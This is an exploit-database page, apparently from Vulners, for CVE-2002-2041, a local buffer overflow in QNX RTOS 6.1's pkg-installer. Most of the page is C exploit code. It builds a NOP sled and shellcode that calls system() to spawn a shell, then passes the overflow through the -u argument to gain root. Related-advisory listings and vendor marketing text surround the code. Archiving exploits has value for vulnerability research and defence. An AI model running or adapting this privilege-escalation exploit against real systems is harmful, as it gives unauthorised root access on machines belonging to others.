QNX RTOS 6.1 - 'PKG-Installer' Local Buffer Overflow
| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
| CVE-2002-2041 | 14 Jul 200504:00 | – | cve | |
| CVE-2002-2041 | 14 Jul 200504:00 | – | cvelist | |
| QNX RTOS 6.1 - '/usr/photon/bin/phlocale' Environment Variable Buffer Overflow | 3 Jun 200200:00 | – | exploitdb | |
| EUVD-2002-2020 | 7 Oct 202500:30 | – | euvd | |
| CVE-2002-2041 | 31 Dec 200205:00 | – | nvd |
/*
source: https://www.securityfocus.com/bid/4918/info
It has been reported that the pkg-installer utility for QNX is vulnerable to a buffer overflow condition.
The vulnerability is a result of an unbounded string copy of the argument to the "-U" commandline option of pkg-installer to a local buffer.
*/
/* Quick and dirty QNX pkg-installer root exploit.
* The shellcode sucks, it is longer than it has
* to be and you need the address to system() for
* it to work. Yes I know I'm lazy....
*
* http://www.badc0ded.com
*/
main(int argc, char **argv)
{
int ret=0x804786d;
char *pret;
char s[]="\xeb\x0e\x31\xc0\x5b"
"\x88\x43\x2\x53\xbb"
"\xe4\xb4\x04\x08" //system() address
"\xff\xd3\xe8\xed\xff"
"\xff\xff\x73\x68";
char payload[2000];
if (argc>=2)
ret=ret-atoi(argv[1]);
pret=&ret;
printf("using ret %x\n",ret);
memset(payload,0x90,1254);
sprintf(payload+1254,"%s%s",s,pret);
execlp("/usr/photon/bin/pkg-installer","pkg-installer","-u",payload,0);
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
15 Nov 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01237